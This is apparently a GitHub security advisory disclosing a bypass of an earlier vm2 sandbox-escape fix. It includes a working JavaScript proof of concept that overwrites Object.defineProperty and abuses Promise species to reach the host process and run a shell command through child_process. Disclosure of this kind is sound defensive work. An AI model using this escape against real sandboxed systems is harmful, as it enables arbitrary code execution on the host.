GHSA-qvjj-29qf-hp7p

### Summary The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 is insufficient and can be circumvented allowing attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details The fix for https://github.com/patriksimek/vm2/security/advisories/GHSA-cchq-frgv-rjh5 introduced the function `resetPromiseSpecies` https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/setup-sandbox.js#L35C7-L39. This function changes the `species` property of promise objects back to a known value. However, it uses the function `[].includes` and `Object.defineProperty` which can be overewritten to prevent the species from being changed. ### PoC The following code demonstrates this issue by aquiring the host process object and executing `touch pwned`. ```js const {VM} = require("vm2"); const vm = new VM(); vm.run(` Object.defineProperty=()=>{}; async function fn() { const e = new Error(); e.name = Symbol(); return e.stack; } p = fn(); p.constructor = { [Symbol.species]: class FakePromise { constructor(executor) { executor( (x) => x, (err) => { return err.constructor.constructor('return process')().mainModule.require('child_process').execSync('touch pwned'); } ) } } }; p.then(); `); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that the attacker can run arbitrary code execution inside the context of a vm2 sandbox.